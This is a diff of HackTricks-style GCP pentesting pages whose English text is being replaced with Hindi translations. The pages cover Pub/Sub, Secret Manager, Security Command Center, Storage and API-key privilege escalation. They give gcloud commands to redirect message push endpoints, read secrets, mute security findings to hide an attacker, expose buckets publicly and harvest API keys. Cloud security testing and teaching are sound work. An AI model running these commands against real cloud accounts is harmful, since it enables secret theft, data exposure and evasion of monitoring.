gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Give yourself the permissions needed to perform any of the previously commented attacks.
|
||||
अपने आप को उन हमलों को करने के लिए आवश्यक अनुमतियाँ दें जिनका पहले उल्लेख किया गया था।
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\
|
||||
If there aren't any schemas you might need to create one.
|
||||
|
||||
एक स्कीमा को एक टॉपिक से जोड़ें ताकि संदेश इसे पूरा न करें और इसलिए टॉपिक बाधित हो जाए।\
|
||||
यदि कोई स्कीमा नहीं है, तो आपको एक बनाने की आवश्यकता हो सकती है।
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
"type": "record",
|
||||
"name": "Person",
|
||||
"fields": [
|
||||
{
|
||||
"name": "name",
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"name": "age",
|
||||
"type": "int"
|
||||
}
|
||||
]
|
||||
"namespace": "com.example",
|
||||
"type": "record",
|
||||
"name": "Person",
|
||||
"fields": [
|
||||
{
|
||||
"name": "name",
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"name": "age",
|
||||
"type": "int"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Attach new schema
|
||||
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
This might look like deleting a schema you will be able to send messages that doesn't fulfil with the schema. However, as the schema will be deleted no message will actually enter inside the topic. So this is **USELESS**:
|
||||
|
||||
यह ऐसा लग सकता है जैसे आप एक स्कीमा को हटा रहे हैं जिससे आप ऐसे संदेश भेज सकेंगे जो स्कीमा के अनुरूप नहीं हैं। हालाँकि, चूंकि स्कीमा हटा दिया जाएगा, कोई संदेश वास्तव में विषय के अंदर नहीं जाएगा। इसलिए यह **व्यर्थ** है:
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Give yourself the permissions needed to perform any of the previously commented attacks.
|
||||
अपने आपको उन अनुमतियों को दें जो पहले टिप्पणी किए गए हमलों को करने के लिए आवश्यक हैं।
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
This is will create a snapshot of all the unACKed messages and put them back to the subscription. Not very useful for an attacker but here it's:
|
||||
|
||||
यह सभी अनACK किए गए संदेशों का एक स्नैपशॉट बनाएगा और उन्हें सब्सक्रिप्शन में वापस डाल देगा। हमलावर के लिए बहुत उपयोगी नहीं है लेकिन यहाँ यह है:
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+2
-8
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
For more information about Secret Manager check:
|
||||
Secret Manager के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,15 +12,9 @@ For more information about Secret Manager check:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
|
||||
|
||||
यह आपको सीक्रेट मैनेजर से सीक्रेट पढ़ने की अनुमति देता है और शायद यह विशेषाधिकार बढ़ाने में मदद कर सकता है (इस पर निर्भर करता है कि सीक्रेट के अंदर कौन सी जानकारी संग्रहीत है):
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+9
-23
@@ -1,10 +1,10 @@
|
||||
# GCP - Security Post Exploitation
|
||||
# GCP - सुरक्षा पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Security
|
||||
## सुरक्षा
|
||||
|
||||
For more information check:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-security-enum.md
|
||||
@@ -12,51 +12,37 @@ For more information check:
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
Prevent generation of findings that could detect an attacker by creating a `muteconfig`:
|
||||
|
||||
एक `muteconfig` बनाकर हमलावर का पता लगाने के लिए संभावित निष्कर्षों के निर्माण को रोकें:
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
Prevent generation of findings that could detect an attacker by updating a `muteconfig`:
|
||||
|
||||
एक `muteconfig` को अपडेट करके हमलावर का पता लगाने के लिए निष्कर्षों के निर्माण को रोकें:
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
Mute findings based on a filer:
|
||||
|
||||
फिल्टर के आधार पर निष्कर्षों को म्यूट करें:
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
|
||||
A muted finding won't appear in the SCC dashboard and reports.
|
||||
A muted finding SCC डैशबोर्ड और रिपोर्ट में नहीं दिखाई देगा।
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
Mute findings based on source, findings...
|
||||
|
||||
स्रोत, निष्कर्षों के आधार पर निष्कर्षों को म्यूट करें...
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
Update a finding to indicate erroneous information:
|
||||
|
||||
एक खोज को अद्यतन करें ताकि गलत जानकारी को इंगित किया जा सके:
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+5
-11
@@ -4,16 +4,15 @@
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
For more information about CLoud Storage check this page:
|
||||
Cloud Storage के बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give Public Access
|
||||
|
||||
It's possible to give external users (logged in GCP or not) access to buckets content. However, by default bucket will have disabled the option to expose publicly a bucket:
|
||||
### सार्वजनिक पहुंच दें
|
||||
|
||||
बाहरी उपयोगकर्ताओं (GCP में लॉग इन किए हुए या नहीं) को बकेट की सामग्री तक पहुंच देना संभव है। हालाँकि, डिफ़ॉल्ट रूप से बकेट में सार्वजनिक रूप से बकेट को उजागर करने का विकल्प बंद होगा:
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -26,13 +25,8 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
यदि आप **एक बकेट को अक्षम ACLs के साथ ACLs देने की कोशिश करते हैं** तो आपको यह त्रुटि मिलेगी: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
To access open buckets via browser, access the URL `https://<bucket_name>.storage.googleapis.com/` or `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
ब्राउज़र के माध्यम से खुले बकेट्स तक पहुँचने के लिए, URL का उपयोग करें `https://<bucket_name>.storage.googleapis.com/` या `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+5
-9
@@ -1,25 +1,21 @@
|
||||
# GCP - Workflows Post Exploitation
|
||||
# GCP - कार्यप्रवाह पोस्ट शोषण
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Workflow
|
||||
## कार्यप्रवाह
|
||||
|
||||
Basic information:
|
||||
बुनियादी जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-workflows-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### पोस्ट शोषण
|
||||
|
||||
The post exploitation techniques are actually the same ones as the ones shared in the Workflows Privesc section:
|
||||
पोस्ट शोषण तकनीकें वास्तव में वही हैं जो कार्यप्रवाह प्रिवेस्क अनुभाग में साझा की गई थीं:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-workflows-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,62 +4,60 @@
|
||||
|
||||
## Introduction to GCP Privilege Escalation <a href="#introduction-to-gcp-privilege-escalation" id="introduction-to-gcp-privilege-escalation"></a>
|
||||
|
||||
GCP, as any other cloud, have some **principals**: users, groups and service accounts, and some **resources** like compute engine, cloud functions…\
|
||||
Then, via roles, **permissions are granted to those principals over the resources**. This is the way to specify the permissions a principal has over a resource in GCP.\
|
||||
There are certain permissions that will allow a user to **get even more permissions** on the resource or third party resources, and that’s what is called **privilege escalation** (also, the exploitation the vulnerabilities to get more permissions).
|
||||
GCP, किसी अन्य क्लाउड की तरह, कुछ **प्रिंसिपल** होते हैं: उपयोगकर्ता, समूह और सेवा खाते, और कुछ **संसाधन** जैसे कंप्यूट इंजन, क्लाउड फ़ंक्शंस...\
|
||||
फिर, भूमिकाओं के माध्यम से, **इन प्रिंसिपल को संसाधनों पर अनुमतियाँ दी जाती हैं**। यह GCP में किसी संसाधन पर प्रिंसिपल के पास अनुमतियों को निर्दिष्ट करने का तरीका है।\
|
||||
कुछ निश्चित अनुमतियाँ हैं जो एक उपयोगकर्ता को **संसाधन या तीसरे पक्ष के संसाधनों पर और अधिक अनुमतियाँ प्राप्त करने** की अनुमति देंगी, और इसे **प्रिविलेज एस्कलेशन** कहा जाता है (साथ ही, अधिक अनुमतियाँ प्राप्त करने के लिए कमजोरियों का शोषण)।
|
||||
|
||||
Therefore, I would like to separate GCP privilege escalation techniques in **2 groups**:
|
||||
इसलिए, मैं GCP प्रिविलेज एस्कलेशन तकनीकों को **2 समूहों** में विभाजित करना चाहूंगा:
|
||||
|
||||
- **Privesc to a principal**: This will allow you to **impersonate another principal**, and therefore act like it with all his permissions. e.g.: Abuse _getAccessToken_ to impersonate a service account.
|
||||
- **Privesc on the resource**: This will allow you to **get more permissions over the specific resource**. e.g.: you can abuse _setIamPolicy_ permission over cloudfunctions to allow you to trigger the function.
|
||||
- Note that some **resources permissions will also allow you to attach an arbitrary service account** to the resource. This means that you will be able to launch a resource with a SA, get into the resource, and **steal the SA token**. Therefore, this will allow to escalate to a principal via a resource escalation. This has happened in several resources previously, but now it’s less frequent (but can still happen).
|
||||
- **प्रिंसिपल के लिए प्रिवेस्क**: यह आपको **दूसरे प्रिंसिपल का अनुकरण करने** की अनुमति देगा, और इसलिए इसके सभी अनुमतियों के साथ कार्य करेगा। उदाहरण: _getAccessToken_ का दुरुपयोग करके एक सेवा खाते का अनुकरण करना।
|
||||
- **संसाधन पर प्रिवेस्क**: यह आपको **विशिष्ट संसाधन पर अधिक अनुमतियाँ प्राप्त करने** की अनुमति देगा। उदाहरण: आप क्लाउडफंक्शंस पर _setIamPolicy_ अनुमति का दुरुपयोग कर सकते हैं ताकि आप फ़ंक्शन को ट्रिगर कर सकें।
|
||||
- ध्यान दें कि कुछ **संसाधन अनुमतियाँ आपको संसाधन से एक मनमाना सेवा खाता संलग्न करने** की भी अनुमति देंगी। इसका मतलब है कि आप एक SA के साथ एक संसाधन लॉन्च कर सकेंगे, संसाधन में प्रवेश कर सकेंगे, और **SA टोकन चुरा सकेंगे**। इसलिए, यह एक संसाधन वृद्धि के माध्यम से एक प्रिंसिपल में वृद्धि करने की अनुमति देगा। यह पहले कई संसाधनों में हुआ है, लेकिन अब यह कम सामान्य है (लेकिन अभी भी हो सकता है)।
|
||||
|
||||
Obviously, the most interesting privilege escalation techniques are the ones of the **second group** because it will allow you to **get more privileges outside of the resources you already have** some privileges over. However, note that **escalating in resources** may give you also access to **sensitive information** or even to **other principals** (maybe via reading a secret that contains a token of a SA).
|
||||
स्पष्ट रूप से, सबसे दिलचस्प प्रिविलेज एस्कलेशन तकनीकें **दूसरे समूह** की हैं क्योंकि यह आपको **उन संसाधनों के बाहर अधिक विशेषाधिकार प्राप्त करने** की अनुमति देगा जिन पर आपके पास पहले से कुछ विशेषाधिकार हैं। हालाँकि, ध्यान दें कि **संसाधनों में वृद्धि** आपको **संवेदनशील जानकारी** या यहां तक कि **अन्य प्रिंसिपल** (शायद एक SA के टोकन को शामिल करने वाले एक रहस्य को पढ़कर) तक पहुँच भी दे सकती है।
|
||||
|
||||
> [!WARNING]
|
||||
> It's important to note also that in **GCP Service Accounts are both principals and permissions**, so escalating privileges in a SA will allow you to impersonate it also.
|
||||
> यह ध्यान रखना महत्वपूर्ण है कि **GCP सेवा खाते दोनों प्रिंसिपल और अनुमतियाँ** हैं, इसलिए एक SA में विशेषाधिकार बढ़ाने से आपको इसका अनुकरण करने की अनुमति भी मिलेगी।
|
||||
|
||||
> [!NOTE]
|
||||
> The permissions between parenthesis indicate the permissions needed to exploit the vulnerability with `gcloud`. Those might not be needed if exploiting it through the API.
|
||||
> कोष्ठक के बीच की अनुमतियाँ उस कमजोरी का शोषण करने के लिए आवश्यक अनुमतियों को इंगित करती हैं `gcloud` के साथ। यदि इसे API के माध्यम से शोषित किया जाता है तो ये आवश्यक नहीं हो सकती हैं।
|
||||
|
||||
## Permissions for Privilege Escalation Methodology
|
||||
|
||||
This is how I **test for specific permissions** to perform specific actions inside GCP.
|
||||
यहाँ मैं **GCP के अंदर विशिष्ट क्रियाएँ करने के लिए विशिष्ट अनुमतियों** का परीक्षण कैसे करता हूँ।
|
||||
|
||||
1. Download the github repo [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
|
||||
2. Add in tests/ the new script
|
||||
1. गिटहब रेपो डाउनलोड करें [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
|
||||
2. tests/ में नया स्क्रिप्ट जोड़ें
|
||||
|
||||
## Bypassing access scopes <a href="#bypassing-access-scopes" id="bypassing-access-scopes"></a>
|
||||
|
||||
Tokens of SA leakded from GCP metadata service have **access scopes**. These are **restrictions** on the **permissions** that the token has. For example, if the token has the **`https://www.googleapis.com/auth/cloud-platform`** scope, it will have **full access** to all GCP services. However, if the token has the **`https://www.googleapis.com/auth/cloud-platform.read-only`** scope, it will only have **read-only access** to all GCP services even if the SA has more permissions in IAM.
|
||||
GCP मेटाडेटा सेवा से लीक हुए SA के टोकन में **एक्सेस स्कोप** होते हैं। ये **अनुमतियों** पर **प्रतिबंध** हैं जो टोकन के पास हैं। उदाहरण के लिए, यदि टोकन में **`https://www.googleapis.com/auth/cloud-platform`** स्कोप है, तो इसके पास सभी GCP सेवाओं तक **पूर्ण पहुँच** होगी। हालाँकि, यदि टोकन में **`https://www.googleapis.com/auth/cloud-platform.read-only`** स्कोप है, तो इसके पास सभी GCP सेवाओं तक केवल **पढ़ने की अनुमति** होगी, भले ही SA के पास IAM में अधिक अनुमतियाँ हों।
|
||||
|
||||
There is no direct way to bypass these permissions, but you could always try searching for **new credentials** in the compromised host, **find the service key** to generate an OAuth token without restriction or **jump to a different VM less restricted**.
|
||||
इन अनुमतियों को बायपास करने का कोई सीधा तरीका नहीं है, लेकिन आप हमेशा **समझौता किए गए होस्ट** में **नई क्रेडेंशियल्स** खोजने, **एक सेवा कुंजी खोजने** के लिए बिना प्रतिबंध के OAuth टोकन उत्पन्न करने या **कम प्रतिबंधित एक अलग VM पर कूदने** की कोशिश कर सकते हैं।
|
||||
|
||||
When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has.
|
||||
जब [एक्सेस स्कोप](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) का उपयोग किया जाता है, तो कंप्यूटिंग उदाहरण (VM) के लिए उत्पन्न OAuth टोकन में **एक** [**स्कोप**](https://oauth.net/2/scope/) **सीमा शामिल होगी**। हालाँकि, आप इस सीमा को **बायपास** करने और समझौता किए गए खाते के पास अनुमतियों का शोषण करने में सक्षम हो सकते हैं।
|
||||
|
||||
The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OAuth token** without restriction or to **compromise a different VM with a SA less restricted**.
|
||||
|
||||
Check SA with keys generated with:
|
||||
इस प्रतिबंध को बायपास करने का **सर्वश्रेष्ठ तरीका** या तो **समझौता किए गए होस्ट** में **नई क्रेडेंशियल्स** खोजना है, **बिना प्रतिबंध के OAuth टोकन उत्पन्न करने के लिए सेवा कुंजी खोजना** या **कम प्रतिबंधित SA के साथ एक अलग VM को समझौता करना** है।
|
||||
|
||||
चाबियों के साथ SA की जाँच करें:
|
||||
```bash
|
||||
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
|
||||
echo "Looking for keys for $i:"
|
||||
gcloud iam service-accounts keys list --iam-account $i
|
||||
echo "Looking for keys for $i:"
|
||||
gcloud iam service-accounts keys list --iam-account $i
|
||||
done
|
||||
```
|
||||
|
||||
## Privilege Escalation Techniques
|
||||
|
||||
The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other service account/users/groups privileges. Chaining escalations until you have admin access over the organization.
|
||||
AWS में अपने विशेषाधिकारों को बढ़ाने का तरीका यह है कि आपके पास अन्य सेवा खाता/उपयोगकर्ता/समूह के विशेषाधिकारों तक पहुँचने के लिए पर्याप्त अनुमतियाँ हों। प्रशासनिक पहुँच प्राप्त करने के लिए बढ़ते विशेषाधिकारों को जोड़ना।
|
||||
|
||||
> [!WARNING]
|
||||
> GCP has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
|
||||
> GCP में **सैकड़ों** (यदि हजारों नहीं) **अनुमतियाँ** हैं जो किसी इकाई को दी जा सकती हैं। इस पुस्तक में आप **सभी अनुमतियाँ** पा सकते हैं जो मैं जानता हूँ कि आप **विशेषाधिकार बढ़ाने** के लिए दुरुपयोग कर सकते हैं, लेकिन यदि आप **कोई ऐसा मार्ग** जानते हैं जो यहाँ उल्लेखित नहीं है, **कृपया साझा करें**।
|
||||
|
||||
**The subpages of this section are ordered by services. You can find on each service different ways to escalate privileges on the services.**
|
||||
**इस अनुभाग के उपपृष्ठ सेवाओं के अनुसार क्रमबद्ध हैं। आप प्रत्येक सेवा पर विशेषाधिकार बढ़ाने के विभिन्न तरीके पा सकते हैं।**
|
||||
|
||||
### Abusing GCP to escalate privileges locally
|
||||
|
||||
If you are inside a machine in GCP you might be able to abuse permissions to escalate privileges even locally:
|
||||
यदि आप GCP में एक मशीन के अंदर हैं, तो आप स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए अनुमतियों का दुरुपयोग कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
gcp-local-privilege-escalation-ssh-pivoting.md
|
||||
@@ -72,7 +70,3 @@ gcp-local-privilege-escalation-ssh-pivoting.md
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
## Apikeys
|
||||
|
||||
The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, इस दस्तावेज़ से ध्यान दें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और **कोटा** और **बिलिंग** के लिए आपके प्रोजेक्ट के साथ API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
|
||||
|
||||
Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
|
||||
इसलिए, एक API कुंजी के साथ आप उस कंपनी को API के आपके उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे।
|
||||
|
||||
For more information about API Keys check:
|
||||
API कुंजी के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to create API keys check:
|
||||
API कुंजी बनाने के अन्य तरीकों के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
@@ -22,61 +22,51 @@ gcp-serviceusage-privesc.md
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
As you might not know which APIs are enabled in the project or the restrictions applied to the API key you found, it would be interesting to run the tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
|
||||
जैसा कि आप नहीं जानते होंगे कि प्रोजेक्ट में कौन सी APIs सक्षम हैं या आपके द्वारा पाए गए API कुंजी पर लागू प्रतिबंध क्या हैं, यह दिलचस्प होगा कि आप उपकरण [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) चलाएँ और **जांचें कि आप API कुंजी के साथ क्या एक्सेस कर सकते हैं।**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
This permission allows to **create an API key**:
|
||||
|
||||
यह अनुमति **एक API कुंजी बनाने** की अनुमति देती है:
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
आप [**यहां एक स्क्रिप्ट पा सकते हैं जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh)।
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that by default users have permissions to create new projects adn they are granted Owner role over the new project. So a user could c**reate a project and an API key inside this project**.
|
||||
> ध्यान दें कि डिफ़ॉल्ट रूप से उपयोगकर्ताओं को नए प्रोजेक्ट बनाने की अनुमति होती है और उन्हें नए प्रोजेक्ट पर मालिक की भूमिका दी जाती है। इसलिए एक उपयोगकर्ता **एक प्रोजेक्ट बना सकता है और इस प्रोजेक्ट के अंदर एक API कुंजी बना सकता है**।
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
These permissions allows **list and get all the apiKeys and get the Key**:
|
||||
|
||||
ये अनुमतियाँ **सभी apiKeys की सूची बनाने और प्राप्त करने और कुंजी प्राप्त करने की अनुमति देती हैं**:
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)।
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
These permissions allow you to **list and regenerate deleted api keys**. The **API key is given in the output** after the **undelete** is done:
|
||||
|
||||
ये अनुमतियाँ आपको **हटाए गए api keys को सूचीबद्ध और पुनः उत्पन्न करने** की अनुमति देती हैं। **API कुंजी आउटपुट में दी जाती है** जब **undelete** किया जाता है:
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
### अन्य कर्मचारियों को फ़िश करने के लिए आंतरिक OAuth एप्लिकेशन बनाएं
|
||||
|
||||
### Create Internal OAuth Application to phish other workers
|
||||
|
||||
Check the following page to learn how to do this, although this action belongs to the service **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
यह करने के लिए कैसे सीखने के लिए निम्नलिखित पृष्ठ की जांच करें, हालांकि यह क्रिया सेवा **`clientauthconfig`** से संबंधित है [दस्तावेज़ों के अनुसार](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+22
-36
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
For more information about App Engine check:
|
||||
App Engine के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,29 +12,26 @@ For more information about App Engine check:
|
||||
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Those are the needed permissions to **deploy an App using `gcloud` cli**. Maybe the **`get`** and **`list`** ones could be **avoided**.
|
||||
ये **`gcloud` cli** का उपयोग करके एक App को **deploy** करने के लिए आवश्यक अनुमतियाँ हैं। शायद **`get`** और **`list`** वाली अनुमतियाँ **टाल** की जा सकती हैं।
|
||||
|
||||
